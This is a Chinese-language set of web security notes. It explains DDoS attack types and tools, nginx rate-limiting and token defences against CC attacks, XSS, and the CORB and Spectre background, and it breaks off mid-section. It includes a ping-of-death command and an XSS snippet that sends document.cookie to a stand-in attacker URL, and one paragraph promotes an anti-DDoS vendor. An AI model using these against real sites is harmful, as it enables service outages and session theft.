Skip to content

Latest commit

 

History

History
486 lines (300 loc) · 45.8 KB

DDOS.md

File metadata and controls

486 lines (300 loc) · 45.8 KB

DoS 拒绝服务攻击

故上兵伐谋 其次伐交 其次伐兵 其下攻城 攻城之法 为不得已 知己知彼 百战不殆 不知彼而知己 一胜一负 不知彼不知己 每战必败 —— 孙子兵法·谋攻

DDoS - Distributed Denial of Service 分布式拒绝服务攻击,是网络攻击中常见的攻击方式,是 DoS 的升级版。在进行攻击的时候,这种方式可以对不同地点的大量计算机进行攻击,进行攻击的时候主要是对攻击的目标发送超过其处理能力的数据包,使攻击目标出现瘫痪的情况,不能提供正常的服务。攻击者批量入侵电脑(不只是电脑会被入侵,路由器、手机,甚至是摄像头等物联网设备也可能会被入侵)并控制,这样的电脑被称为“肉鸡”。然后统一控制向目标发起攻击,使目标瘫痪。

这些发起攻击请求的主机可能是一些免费的代理主机,网上所处可见免费代理。

网友举了个恰当的比喻:一家有五十个座位的重庆火锅店,由于用料上等,童叟无欺。平时门庭若市,生意特别红火,而对面二狗家的火锅店却无人问津。二狗为了对付它,想了一个办法,叫了五十个人来我的火锅店坐着却不点菜,让别的客人无法吃饭。上面这个例子讲的就是典型的 DDoS 分布式拒绝服务。

我在工作中首次接触到 DoS 攻击是美的的一个空调品牌站点项目上,因为有做抽奖活动,而活动需要用户参与交互,在项目上线第一天,攻击产生的请求像潮水一样涌入。由于当时,刚工作,没有什么经验对抗,在当时完全也没有意识到这是典型的 DoS 攻击。

所有攻击,包含 DDoS 攻击只是手段,最终目的是永远的利益。未来网络战争将出现更加广泛的、更加频繁的和更加精准的攻击。面对这些攻击来临时,我们应如何应对?

国人讲究:工欲善其事必先利其器。随着开源的 DDoS 工具扑面而来,网络攻击变得越来越容易,威胁也越来越严重。 工具有很多,简单介绍几款知名的,让大家有个简单了解。

LOIC - Low Orbit Ion Cannon 是一个颇受欢迎的 DoS 攻击的淹没式工具,会产生大量流量,可以在多种平台运行,包括 Linux、Windows、Mac OS、Android 等。LOIC 界面友好,功能简单易于使用,初学者也可以很快上手。

HULK - HTTP Unbearable Load King 是另一个 DOS 攻击工具,这个工具使用 UserAgent 的伪造,来避免攻击检测,可以通过启动 500 线程对目标发起高频率 HTTP GET FLOOD 请求,更可怕的是每一次请求都是独立的,可以绕过服务端的缓存措施,让所有请求得到处理。HULK 是用 Python 语言编写,对获得的源码进行更改也非常方便。

R-U-Dead-Yet 是一款采用慢速 HTTP POST 请求方式进行 DOS 攻击的工具,它提供了一个交互式控制台菜单,检测给定的 URL,并允许用户选择哪些表格和字段应用于 POST-based DOS 攻击,操作非常简单。而且,它也使用的是 Python 语言编写,可移植性非常好。R.U.D.Y. 能够对所有类型的 Web 服务端软件造成影响,因此攻击的威胁非常大。这些工具在保持攻击力的同时还再加强易用性,而免费和开源降低了使用门槛。随着攻防对抗的升级,工具会越来越智能化。

DDoS 常见攻击方式

  • 网络带宽资源的攻击方式;
  • 系统资源的攻击方式;
  • 应用资源的攻击方式;

很多人认为 DDoS 是进门的人太多。其实不是,DDoS 是敲门铃的人多,消耗带宽资源。nginx 只能控制进门人数,并不能控制敲门的人。再怎么限制,DDOS 把带宽打满了也没办法啊。就像一堆人把家门口堵着,你 nginx 虽然可以检查身份不让他们进来,但是他们在门外会彻底把门口堵死了呀。

阿里云的黑洞策略,让 DDoS 的成本变得更低。为了保障阿里云网络的整体可用性,当服务器遭受超出防御范围的大流量攻击时,阿里云对其采用黑洞策略,即实行外网封禁,并根据实例的安全信誉等级决定黑洞时长,到期后解除黑洞。接入高防IP产品,众所周知阿里云的高防IP价格是非常昂贵的,100G的高防IP价格一个月就是两万多,这里推荐使用小蚁云安全的高防IP,价格是阿里云高防的十分之一,付款对接后会安排一个 7 * 24 * 365 的技术对接防护业务,秒解黑洞,十分钟解决攻击问题。

四层负载均衡 L4 Load Balancing,主要通过报文中的目标地址和端口,再加上负载均衡设备设置的服务器选择方式,决定最终选择的内部服务器,主要工作也就是转发。主要工作于处于 OSI 模型中间位置的传输层 TRANSPORT LAYER,它主要处理消息的传递,而不管消息的内容。在互联网上,TCP 就是 HTTP 传输方式的四层协议 Layer 4 Protocol。四层负载均衡只针对由上游服务发送和接收的网络包,而并不检查包内的具体内容是什么。四层负载均衡可以通过检查 TCP 流中的前几个包,从而决定是否限制路由。

七层负载均衡 L7 Load Balancing,也称为“内容交换”,通过报文中的真正有意义的应用层内容,再加上负载均衡设备设置的服务器选择方式,决定最终选择的内部服务器。主要工作于处于 OSI 模型顶层位置的应用层 APPLICATION LAYER,它主要处理每条消息中的真正内容。在互联网上,HTTP 是网络通讯中占据主导地位的七层协议 Layer 7 Protocol。七层负载均衡在路由网络传输时比四层负载均衡更加复杂和巧妙,特别适合像 HTTP 这种基于 TCP 传输的方式。 一个七层负载均衡器终止网络传输并读取消息中的内容。它可以基于消息中内容,比如 URL 或者 Cookie 中的信息来做出负载均衡的决定。之后,七层负载均衡器建立一个新的 TCP 连接来选择上游服务,或者再利用一个已经存在的 TCP 连接,通过 HTTP keepalives 的方式,并向这个服务发出请求。

从技术原理上看出,四层模式下这些 SYN 类型 DOS/DDOS 攻击都会被转发到后端的服务器上;而七层模式下这些 SYN 攻击自然在负载均衡设备上就截止,不会影响后台服务器的正常运营。负载均衡设备可以在七层层面设定多种策略,过滤特定报文,例如 SQL Injection 等应用层面的特定攻击手段,从应用层面进一步提高系统整体安全。

现在的 7 层负载均衡,主要还是着重于应用 HTTP 协议,所以其应用范围主要是众多的网站或者内部信息平台等基于 B/S 开发的系统。 4 层负载均衡则对应其他 TCP 应用,例如基于 C/S 开发的 ERP 等系统。

nginx 面对 DDoS 时能做的不是很多,只能对七层攻击做些处理。除了频率控制,就是就行粗略判断,抛弃非人类的流量( UA、JS 控制跳转之类),但是误伤还是会有。 四层的攻击只能通过前置清洗机器比如上 CDN 或硬件防火墙的方式,如果被机房拔网线就还是洗洗睡吧。

DDoS 洪流攻击原理

  • ICMP Flood:通过对目标系统发送海量数据包,就可以令目标主机瘫痪,如果大量发送就成了洪水攻击。
  • UDP Flood:攻击者通常发送大量伪造源 IP 地址的小 UDP 包,100k bps 的就能 将线路上的骨干设备例如防火墙打瘫,造成整个网段的瘫痪。
  • ACK Flood: 目前 ACK Flood 并没有成为攻击的主流,而通常是与其他攻击方式组合在一起使用。
  • NTP Flood:攻击者使用特殊的数据包,也就是 IP 地址指向作为反射器的服务器,源 IP 地址被伪造成攻击目标的 IP ,这样一来可能只需要 1Mbps 的上传带宽欺骗 NTP 服务器,就可给目标服务器带来几百上千 Mbps 的攻击流量。
  • SYN Flood:一种利用 TCP 协议缺陷,发送大量伪造的 TCP 连接请求,从而使得被攻击方资源耗尽的攻击方式。
  • CC 攻击:由于 CC 攻击成本低、威力大据调查目前 80% 的 DDoS 攻击都是 CC 攻击。CC 攻击是借助代理服务器生成指向目标系统的合法请求,实现伪装和 DDoS。这种攻击技术性含量高,见不到真实源 IP,见不到特别大的异常流量,但服务器就是无法进行正常连接。
  • DNS Query Flood:DNS Query Flood 采用的方法是操纵大量傀儡机器,向目标服务器发送大量的域名解析请求。解析过程给服务器带来很大的负载,每秒钟域名解析请求超过一定的数量就会造成 DNS 服务器解析域名超时。

DDoS 攻击,在网络时代如同死亡和税收一样不可避免。据统计,2019 年上半年我国境内峰值超过 10Gbps 的 DDoS 攻击事件数量平均每月约 4,300 起,同比增长 18%。半数以上的网站在受到DDoS攻击后都很难消除影响,23% 的网站在受到攻击后流量损失超过 70%,造成不可逆的困境。随着网络技术的发展,DDoS 攻击也呈现出攻击强度越来越激烈的新特征。相关研究团队发现:2019 年上半年已经出现持续 2 个月攻击接近 Tb 级的情况,大流量攻击以 TCP 类攻击为主,单一网段攻击流量持续且流量大,目前已监控到单一 C 段流量近 200G。

传统的防御方法通过硬件设备来清洗流量,成本非常高昂,低端的 2U 设备也通常动辄几十上百万一台。如果互联网接入的带宽不够大,一旦有大流量注入,带宽资源就会耗尽致使服务器再次中断。当前的 Tb 级攻击时代,基本都是“有钱人”的游戏。基于云计算的 DDoS 防护解决方案应运而生,成为了新一代的智能抗 D 黑魔法。

Internet 控制信息协议 ICMP - Internet Control Message Protocol 是用于错误处理和传递控制信息的互联网络协议。它的功能之一是与主机联系,通过发送一个回音请求 echo request 信息包看看主机是否活着。最普通的 ping 程序就是这个功能。而在 TCP/IP 的 RFC 文档中对包的最大尺寸都有严格限制规定,许多操作系统的 TCP/IP 协议栈都规定 ICMP 包大小为 64KB,且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓冲区。

在早期的因特网上流行 ping of death 拒绝服务攻击,方法是由攻击者故意发送大于 64kB 的 IP 数据包给对方。TCP/IP 的特征之一是碎裂,它允许单一 IP 包被分为几个更小的数据包。在1996年,攻击者开始利用那一个功能,使用超过 64kB 碎片包,当时许多操作系统收到一个特大号的 IP 包时候,它们不知道该做什么,因此,服务器会被冻结、当机或重新启动。

ping -l 65535 IP -t

"Ping of Death" 就是故意产生畸形的测试 Ping(Packet Internet Groper)包,声称自己的尺寸超过 ICMP 上限,也就是加载的尺寸超过 64KB 上限,使未采取保护措施的网络系统出现内存分配错误,导致 TCP/IP 协议栈崩溃,最终接收方荡机。

Smurf 攻击者向一个子网的广播地址发送一个带有特定请求,如 ping 包,并且将源地址伪装成要攻击的主机地址。子网上所有主机都回应广播包的请求,向被攻击主机发送应答,使得网络的带宽下降,严重情况会导致受害主机崩溃。

DDoS 攻击现目前趋势

第一,攻击类型更加多样与复杂。容量耗尽型攻击:例如 TCP 耗尽,应用层攻击,以及结合多种策略与手段的多向量攻击,这些攻击现在往往针对的是服务器或网站的薄弱环节,例如针对下载、表单等区域,攻击流量与用户流量混杂在一起,因此企业也更难区分并缓解恶意流量。仅在国内的攻击,上 T 的峰值已不罕见。这意味着攻击者采取更少次数,但更复杂更智能的攻击就可以给企业带来重创。

第二,在近几年的报告中可以看出,新型的攻击手法如放大反射攻击开始逐渐活跃。反射放大攻击是一种具有巨大攻击力的 DDoS 攻击方式。攻击者只需要付出少量的代价, 即可对需要攻击的目标产生巨大的流量,对网络带宽资源(网络层)、连接资源(传输层) 和计算机资源(应用层)造成巨大的压力。

2016 年美国 Dyn 公司的 DNS 服务器遭受 DDoS 攻击,导致美国大范围断网。事后的攻击流量分析显示,DNS 反射放大攻击与 SYN 洪水攻击是作为本次造成美国断网的拒绝服务攻击的主力。由于反射放大攻击危害大,成本低,溯源难,被黑色产业从业者所喜爱。除此之外还有攻击系统资源和攻击应用资源的攻击方式。现在越来越多的攻击者,喜欢发起混合攻击,上下开工,打得受害企业措手不及,这样使传统的抗 DDoS 攻击思想开始变得越来越无用。

现在一般的攻击都是 CC - Challenge Collapsar 攻击,消耗服务器 CPU 资源为主。CC 攻击的原理就是攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽,一直到宕机崩溃。当一个网页访问的人数特别多的时候,打开网页就慢了,CC 就是模拟多个用户不停地进行访问那些需要大量数据操作的页面,造成服务器资源的浪费,CPU 长时间处于 100%,永远都有处理不完的连接直至就网络拥塞,正常的访问被中止。

CC 攻击的变异品种慢速攻击,HTTP Post 慢速 DoS 攻击第一次在技术社区被正式披露是 2012 年的 OWASP 大会上,由 Wong Onn Chee 和 Tom Brennan 共同演示了使用这一技术攻击的威力。

这个攻击的基本原理如下:对任何一个开放了 HTTP 访问的服务器 HTTP 服务器,先建立了一个连接,指定一个比较大的 content-length,然后以非常低的速度发包,比如 1-10s 发一个字节,然后维持住这个连接不断开。如果客户端持续建立这样的连接,那么服务器上可用的连接将一点一点被占满,从而导致拒绝服务。

和 CC 攻击一样,只要 Web 服务器开放了 Web 服务,那么它就可以是一个靶子,HTTP 协议在接收到 request 之前是不对请求内容作校验的,所以即使你的 Web 应用没有可用的 form 表单,这个攻击一样有效。

在客户端以单线程方式建立较大数量的无用连接,并保持持续发包的代价非常的低廉。实际试验中一台普通PC可以建立的连接在 3000 个以上。这对一台普通的 Web server,将是致命的打击。更不用说结合肉鸡群做分布式 DoS 了。

鉴于此攻击简单的利用程度、拒绝服务的后果、带有逃逸特性的攻击方式,这类攻击一炮而红,成为众多攻击者的研究和利用对象。

Slow headers:Web 应用在处理 HTTP 请求之前都要先接收完所有的 HTTP 头部,因为 HTTP 头部中包含了一些 Web 应用可能用到的重要的信息。攻击者利用这点,发起一个 HTTP 请求,一直不停的发送 HTTP 头部,消耗服务器的连接和内存资源。抓包数据可见,攻击客户端与服务器建立 TCP 连接后,每 30 秒才向服务器发送一个 HTTP 头部,而 Web 服务器再没接收到 2 个连续的\r\n时,会认为客户端没有发送完头部,而持续的等等客户端发送数据。

Slow body:攻击者发送一个 HTTP POST 请求,该请求的 Content-Length 头部值很大,使得 Web 服务器或代理认为客户端要发送很大的数据。服务器会保持连接准备接收数据,但攻击客户端每次只发送很少量的数据,使该连接一直保持存活,消耗服务器的连接和内存资源。抓包数据可见,攻击客户端与服务器建立 TCP 连接后,发送了完整的 HTTP 头部,POST 方法带有较大的 Content-Length,然后每 10s 发送一次随机的参数。服务器因为没有接收到相应 Content-Length 的 body,而持续的等待客户端发送数据。

Slow read:客户端与服务器建立连接并发送了一个HTTP请求,客户端发送完整的请求给服务器端,然后一直保持这个连接,以很低的速度读取Response,比如很长一段时间客户端不读取任何数据,通过发送Zero Window到服务器,让服务器误以为客户端很忙,直到连接快超时前才读取一个字节,以消耗服务器的连接和内存资源。抓包数据可见,客户端把数据发给服务器后,服务器发送响应时,收到了客户端的ZeroWindow提示(表示自己没有缓冲区用于接收数据),服务器不得不持续的向客户端发出ZeroWindowProbe包,询问客户端是否可以接收数据。

慢速攻击主要利用的是 thread-based 架构的服务器的特性,这种服务器会为每个新连接打开一个线程,它会等待接收完整个 HTTP 头部才会释放连接。比如 Apache 会有一个超时时间来等待这种不完全连接,默认是 300s,但是一旦接收到客户端发来的数据,这个超时时间会被重置。正是因为这样,攻击者可以很容易保持住一个连接,因为攻击者只需要在即将超时之前发送一个字符,便可以延长超时时间。而客户端只需要很少的资源,便可以打开多个连接,进而占用服务器很多的资源。

经验证,Apache、httpd 采用 thread-based 架构,很容易遭受慢速攻击。而另外一种 event-based 架构的服务器,比如 nginx 和 lighttpd 则不容易遭受慢速攻击。

简单 Nginx 配置防 CC:

http {
    limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;
    server {
        #限制每ip每秒不超过20个请求,漏桶数burst为5
        #brust的意思就是,如果第1秒、2,3,4秒请求为19个,
        #第5秒的请求为25个是被允许的。
        #但是如果你第1秒就25个请求,第2秒超过20的请求返回503错误。
        #nodelay,如果不设置该选项,严格使用平均速率限制请求数,
        #第1秒25个请求时,5个请求放到第2秒执行,
        #设置nodelay,25个请求将在第1秒执行。
        limit_req   zone=one  burst=1 nodelay;
    }
}

上面样本的配置是什么意思呢?

  • $binary_remote_addr 表示客户端 IP 地址
  • zone 表示漏桶的名字
  • rate 表示 nginx 处理请求的速度有多快
  • burst 表示峰值
  • nodelay 表示是否延迟处理请求,还是直接 503 返回给客户端,如果超出 rate 设置的情况下。

这里我们需要 Apache Benchmark 这个小工具来生成请求:

//1个用户持续 100s 的时间向服务器发送请求
ab -t 100 -c 1 -vvv http://example.com/

Nginx 配置样本一

http {
    limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;
    server {
        limit_req   zone=one  burst=1 nodelay;
    }
}

Nginx 配置样本二,把 burst 峰值提高到 10

http {
    limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;
    server {
        limit_req   zone=one  burst=10 nodelay;
    }
}

Nginx 配置样本三,把 nodelay 去除掉

http {
    limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;
    server {
        limit_req   zone=one  burst=10;
    }
}

虽然用 limit_req_module 可以一定上的防止 CC 攻击,但是有误杀概率;国内宽带用户的 IP 地址已经大量内网化,几百人共享一个 IP 的可能性是很大的。

应用层 DDoS 的防御理论

每一个页面,都有其资源消耗权重,静态资源,权重较低,动态资源,权重较高。对于用户访问,有如下:

  • 用户资源使用频率=使用的服务器总资源量/s
  • 命题一:对于正常访问的用户,资源使用频率必定位于一个合理的范围,当然会存在大量正常用户共享 IP 的情况,这就需要日常用户访问统计,以得到忠实用户 IP 白名单。
  • 命题二:资源使用频率持续异常的,可断定为访问异常的用户。

防御体系状态机:

  • 在系统各项资源非常宽裕时,向所有 IP 提供服务,每隔一段时间释放一部分临时黑名单中的 IP 成员;
  • 在系统资源消耗达到某一阈值时,降低 Syn 包接受速率,循环:分析最近时间的日志,并将访问异常的 IP 加入临时黑名单;
  • 若系统资源消耗慢慢回降至正常水平,则恢复Syn包接受速率,转到状态1;若目前策略并未有效地控制住系统资源消耗的增长,情况继续恶劣至一极限阈值,转到状态 4;
  • 最终防御方案,使用忠实用户 IP 白名单、异常访问 IP 黑名单策略,其他访问可慢慢放入,直到系统资源消耗回降至正常水平,转到状态 1。

上述的防御状态机,对于单个攻击 IP 高并发的 DDoS,变化到状态 3 时,效果就完全体现出来了,但如果防御状态机进行到 4 状态,则有如下两种可能:

  • 站点遭到了攻击群庞大的、单个 IP 低并发的 DDoS 攻击;
  • 站点突然间有了很多访问正常的新用户。

软防防护思路:

  • 在软件服务中增加请求有效性验证,防止提供无效服务;
  • 可以开启全站 CDN 隐藏真实服务器IP。把 DDOS 的攻击分流出去,增加攻击成本;
  • 买硬件防火墙;
  • 高防 G 口的机子,可以无视一般的 CC 攻击和 DDOS;

高防服务器主要是指能独立硬防御 50Gbps 以上的服务器,能够帮助网站抗衡拒绝服务攻击,定期扫描网络主节点等,这东西是不错,就是贵~

流量清洗的主要对象DDOS攻击,用于准确识别网络中的异常流量,丢弃其中的异常流量,保证正常流量通行的网络安全设备。

步骤一:

布局网络足够性能的设备: 硬件设备建设运用最基础的网络架构、设施设备:扩充带宽硬抗、使用硬件防火墙、选用高性能设备,有了它们整个系统可以顺畅运作,充分利用网络设备足够的容量去承受攻击,是一种较为理想的保护网络资源的应对策略,在对方攻击的时候他们同时也是在消耗,这时候谁的资源强大,谁就能得到最后的胜利。当然大家需要根据自身情况作出平衡的选择。

步骤二:有效的抗 DDOS 攻击方案: 只有高性能的服务器是远远是不够的,而且高性能的服务器和防火墙投入的资金也不小,一旦遭受攻击后会出现不同的问题,这样成本就更高了。这时就需要重新调整架构布局,整合资源来提高网络的负载能力、分摊局部过载的流量,同时要借助高防来清洗流量,过滤识别并拦截恶意行为,实施分布式集群防御,这样就可以降低成本而且对抗效果也会明显提高。

步骤三:提前做好预防,保安全: 之前说 DdoS 攻击的发生是无法预知的,在你没有反应的时候突然来临,就会造成服务器瘫痪打不开,无法正常访问,数据被窃取丢失,泄露,勒索等等。因此网站的预防措施和应急预案就显得特别重要。形成良好的运维操作习惯,定期筛查系统漏洞,做到资源优化,过滤不必要的服务和端口,限制特定的流量,让系统稳固没有漏洞可钻,降低服务器被攻陷的可能,将攻击带来的损失降低到最小。

其次:清洗流量,过滤恶意访问 DDO S攻击可以利用的漏洞、攻击方式有很多,我们需要一个有效的机制。在企业还没有遇到攻击时大家应该具备足够强的安全意识,完善各自企业的安全防护体系。针对网络安全和信息安全是一项长期持续性坚持的工作,凡是从事在这份工作岗位上的站长及网络管理员们,一定要保持警惕,不可以放松忽视掉这份安全,以免给企业和自己带来不必要的损失。

建议后续工作:

  • 保守:站点应尽快进行服务能力升级。
  • 积极:尽所能,追溯攻击者。
  • 单个 IP 高并发的 DDoS:找到访问异常的、高度可疑的 IP 列表,exploit,搜集、分析数据,因为一个傀儡主机可被二次攻占的概率很大(但不建议这种方法)
  • 单个 IP 低并发的 DDoS:以前极少访问被攻击站点,但是在攻击发生时,却频繁访问我们的站点,分析日志得到这一部分 IP 列表。

追溯攻击者的过程中,SNAT 与 Web proxy 增加了追踪的难度,如果攻击者采用多个中继服务器的方法,追溯将变得极为困难。

防御者:

  • 应对当前系统了如指掌,如系统最高负载、最高数据处理能力,以及系统防御体系的强项与弱点
  • 历史日志的保存、分析
  • 对当前系统进行严格安全审计
  • 上报公安相关部分,努力追溯攻击者
  • 网站,能静态,就一定不要动态,可采取定时从主数据库生成静态页面的方式,对需要访问主数据库的服务使用验证机制。
  • 防御者应能从全局的角度,迅速及时地发现系统正在处于什么程度的攻击、何种攻击,在平时,应该建立起攻击应急策略,规范化操作,免得在急中犯下低级错误

对历史日志的分析这时将会非常重要,数据可视化与统计学的方法将会很有益处:

  • 分析每个页面的平均访问频率
  • 对访问频率异常的页面进行详细分析 分析得到 IP 页面访问频率
  • 得到对访问异常页面的访问异常 IP 列表
  • 对日志分析得到忠实用户 IP 白名单
  • 页面访问往往会同时涉及多个资源的访问数,而攻击程序一般不会加载这些它不感兴趣的资源,所以,这也是一个非常好的分析突破点。

防御思路

因为 CC 攻击通过工具软件发起,而普通用户通过浏览器访问,这其中就会有某些区别。想办法对这二者作出判断,选择性的屏蔽来自机器的流量即可。

普通浏览器发起请求时,除了要访问的地址以外,HTTP 头中还会带有 Referer,UserAgent 等多项信息。遇到攻击时可以通过日志查看访问信息,看攻击的流量是否有明显特征,比如固定的 Referer 或 UserAgent,如果能找到特征,就可以直接屏蔽掉了。

如果攻击者伪造 Referer 和 UserAgent,那就需要从其他地方入手。攻击软件一般来说功能都比较简单,只有固定的发包功能,而浏览器会完整的支持 HTTP 协议,我们可以利用这一点来进行防御。

首先为每个访问者定义一个字符串,保存在 Cookies 中作为 Token,必须要带有正确的 Token 才可以访问后端服务。当用户第一次访问时,会检测到用户的 Cookies 里面并没有这个 Token,则返回一个 302 重定向,目标地址为当前页面,同时在返回的 HTTP 头中加入 set cookies 字段,对 Cookies 进行设置,使用户带有这个 Token。

客户端如果是一个正常的浏览器,那么就会支持 HTTP 头中的 SET cookie 和 302 重定向指令,将带上正确的 Token 再次访问页面,这时候后台检测到正确的 Token,就会放行,这之后用户的 HTTP 请求都会带有这个 Token,所以并不会受到阻拦。

客户端如果是 CC 软件,那么一般不会支持这些指令,那么就会一直被拦在最外层,并不会对服务器内部造成压力。

高级一点的,还可以返回一个网页,在页面中嵌入 JavaScript 来设置 Cookies 并跳转,这样被伪造请求的可能性更小

Token 生成算法需要满足以下几点要求:

  • 每个 IP 地址的 Token 不同
  • 无法伪造
  • 一致性,即对相同的客户端,每次生成的 Token 相同

Token 随 IP 地址变化是为了防止通过一台机器获取 Token 之后,再通过代理服务区进行攻击。一致性则是为了避免在服务器端需要存储已经生成的 Token。

推荐使用以下算法生成 Token,其中 Key 为服务器独有的保密字符串,这个算法生成的 Token 可以满足以上这些要求。

Token = Hash( UserAgent + client_ip + key )

本文主要讲述了 DDoS 攻击之一的 CC 攻击工具实现,以及如何防御来自应用层的 DDoS 攻击的理论总结。接下来的文章,笔者将会实现一个工作于内核态的、具有黑名单功能的防火墙模块,以对应于上述防御状态机中的防火墙单元,它实现了自主地动态内存管理,使用 hash 表管理 IP 列表,并可以自定义 hash 表的 modular。

确定 Web 服务器正在或者曾经遭受 CC 攻击,那如何进行有效的防范呢?

  • 取消域名绑定:一般 CC 攻击都是针对网站的域名进行攻击,那么攻击者就在攻击工具中设定攻击对象为该域名然后实施攻击。取消这个域名的绑定,让 CC 攻击失去目标,但同时正常用户也不能访问。

  • 域名欺骗解析:如果发现针对域名的 CC 攻击,我们可以把被攻击的域名解析到 127.0.0.1 这个地址上。我们知道 127.0.0.1 是本地回环 IP 是用来进行网络测试的,如果把被攻击的域名解析到这个 IP 上,就可以实现攻击者自己攻击自己的目的,这样他再多的肉鸡或者代理也会宕机,让其自作自受。

  • 更改 Web 端口:一般情况下 Web 服务器通过 80 端口对外提供服务,因此攻击者实施攻击就以默认的 80 端口进行攻击。

  • 屏蔽 IP:这种方法没什么效率,通过命令或在查看日志发现了 CC 攻击的源 IP,就可以在防火墙中设置屏蔽该 IP 对 Web 站点的访问,从而达到防范攻击的目的。

XSS - Cross-site scripting

站点脚本攻击 Cross-site scripting 简称 XSS,字母 X 很好地阐释了跨站特点,同时避免与 CSS - Case-cading Stylesheet 重名。

假设,网站有个页面可以提交评论,并且评论内容会显示在页面上:

https://insecure-website.com/status?message=All+is+well.

<p>Status: All is well.</p>

那么,这个页面就有可以接收 XSS 攻击:

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>

<p>Status: <script>/* Bad stuff here... */</script></p>

因为,脚本标签意味无限的访问权。在 HTML 通过脚本标签引入的脚本代码具有访问这个页面资源的权限,这就是 XSS 攻击的根本。

XSS 是继 SQL 注入的又一大 Web 风险,很容易被人利用,两者都是运用注入原理进行攻击,危害又特别大,所以必需小心防范。

XSS 攻击的危害包括:

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 3、盗窃企业重要的具有商业价值的资料 4、非法转账 5、强制发送电子邮件 6、网站挂马 7、控制受害者机器向其它网站发起攻击

比如,攻击者通过 XSS 给页面注入一个伪装的图片,点击时就会发送 Cookie 信息给攻击者设置好的服务中:

<script>
var Str=document.cookie;
var a = document.createElement('a');
a.href='http://www.example.com/attack.php?'+Str;
a.innerHTML="<img src='./beauty.jpg'>";
document.body.appendChild(a);
</script>

CORB(Cross-Origin Read Blocking)

30 分钟理解 CORB 是什么 写在前面 前些日子在调试 bug 的时候,偶然发现这么一个警告:

Cross-Origin Read Blocking (CORB) blocked cross-origin response https://www.chromium.org/ with MIME type text/html. See https://www.chromestatus.com/... for more details.

我当前的 chrome 版本是 v68,如果是 v66 或更低版本可能提示的警告信息略有不同。印象中只对 CORS 比较熟悉,CORB 是个什么鬼?好奇心迫使我想要了解一下它到底是什么,于是暂时把手头工作放下查了一些资料并花时间汇总了一下,就有了这篇文章。

再介绍 CORB 是什么以及有什么用之前,需要先了解一些背景知识以做铺垫,下面进入正文。

旁路攻击(side-channel attacks)

首先需要了解的是旁路攻击这个术语,关于术语本身的解释,可以去维基百科搜索。简单讲的话,就是从软件系统的物理实现层获取信息进行攻击的手段,软件系统在正常运行时,产生了一些边缘特征,这些特征可以体现一些隐私信息。

这么说可能略显抽象,就拿后文视频链接中列举的例子说明一下,假设小 A 的账户密码是 gyease,小 B 想破解小 A 的密码,他可以这么做:

首先他可以先输入 aaaaaa,之后记录一下从点击登录按钮到错误提示的间隔时间(虽然很短,假设有工具可以记录) 之后再输入 baaaaa,同样记录时间 重复以上过程直到 gaaaaa,会发现从点击登录按钮到错误提示的间隔时间稍微变长了一些 之后小 B 即知道小 A 的密码第一位是 g,之后重复以上步骤即可破解小 A 的密码。 当然这里的例子很蠢,而且也过于理想化,但足够说明问题。反应快的读者可能马上就会知道为什么在观察 'gaaaaa' 的测量结果后小 B 就会知道小 A 首位密码,这是因为执行校验密码是否正确的代码是需要时间的,因此在理想条件下,首位错误和首位正确第二位错误的反馈结果必然是后者时间略长。

这就是一个比较典型的旁路攻击类型,专业的名称叫做计时攻击(timing attack),有兴趣的可以上网搜索了解详情。

预执行(speculation execution)

之后再来了解预执行这个概念,电脑之所以可以执行我们所编写的代码,其背后是由若干硬件协同工作的结果。其中两个比较重要的,一个是内存,一个是CPU。众所周知,CPU执行计算的速度肯定是远大于它读取内存的速度的,这样的结果就是,CPU在对内存读取某些数据的时候,会闲置,这样变造成了浪费。为了提高性能,现代基本大部分硬件制造商都引入了预执行这个机制来压榨CPU的性能。大概的意思如下,比如你写了一段代码:

if(somethingTrueOrFalse) {
  // TODO ...
}

逻辑上,这个 if 语句内部的代码是否执行,取决于 somethingTrueOrFalse 变量,但是注意,这是逻辑上的,CPU在运行这段代码的时候,可不是这样子的。它可能会直接跳过判定 somethingTrueOrFalse 是真是假的逻辑,直接执行 if 语句内部的代码,之后反过来再根据 somethingTrueOrFalse 的取值情况作出反应,如果为真,则保留执行结果,如果为假,则撤销执行结果。

这里对于预执行的描述是极度简化的,不过足够说明概念了。如果有兴趣可以上网搜索相关文章,尤其是预执行策略方面的,我看了一些,没看完,感觉和AI有的一拼(题外话)。

幽灵和熔断漏洞(Spectre & Meltdown)

这个漏洞是在今年 1 月份被报道出来的,是硬件系统层面的漏洞。关于这个漏洞本身,网上已经有专业的论文对其进行了详尽的介绍,有兴趣可以自行搜索阅读,这里就不展开说了。简单讲,就是结合上文提及的两个概念的两种实际攻击方法。

这里还需要再说一下 CPU 读取数据的方式,CPU 除了利用预执行来提供性能,它本身在从内存读取数据的时候,还会涉及一个缓存的概念。从缓存读取数据的速度是大于内存的,当 CPU 发现将要读取的一个数据在缓存中存在时,它会直接从缓存中读取,这样同样可以提高性能,但是缓存很小同时也很昂贵,所以缓存的大小无法与内存相比。同时,每个程序运行时,CPU 为了防止进程间互相保持独立,它们都拥有属于自己的某块内存区域,假设程序 A 存在一条想要直接越界访问程序 B 内存的指令,这在 CPU 是属于非法的,它不会执行这条指令,而会选择抛出异常并终止程序,然后将其相应的内存数据清零。

之后问题就出现了,假设我们有以下代码:

if (x < arr1.length) {
  y = arr2[arr1[x]]
}

这个例子在参考链接的文章中你可能会多次见到,这里大概解释一下:

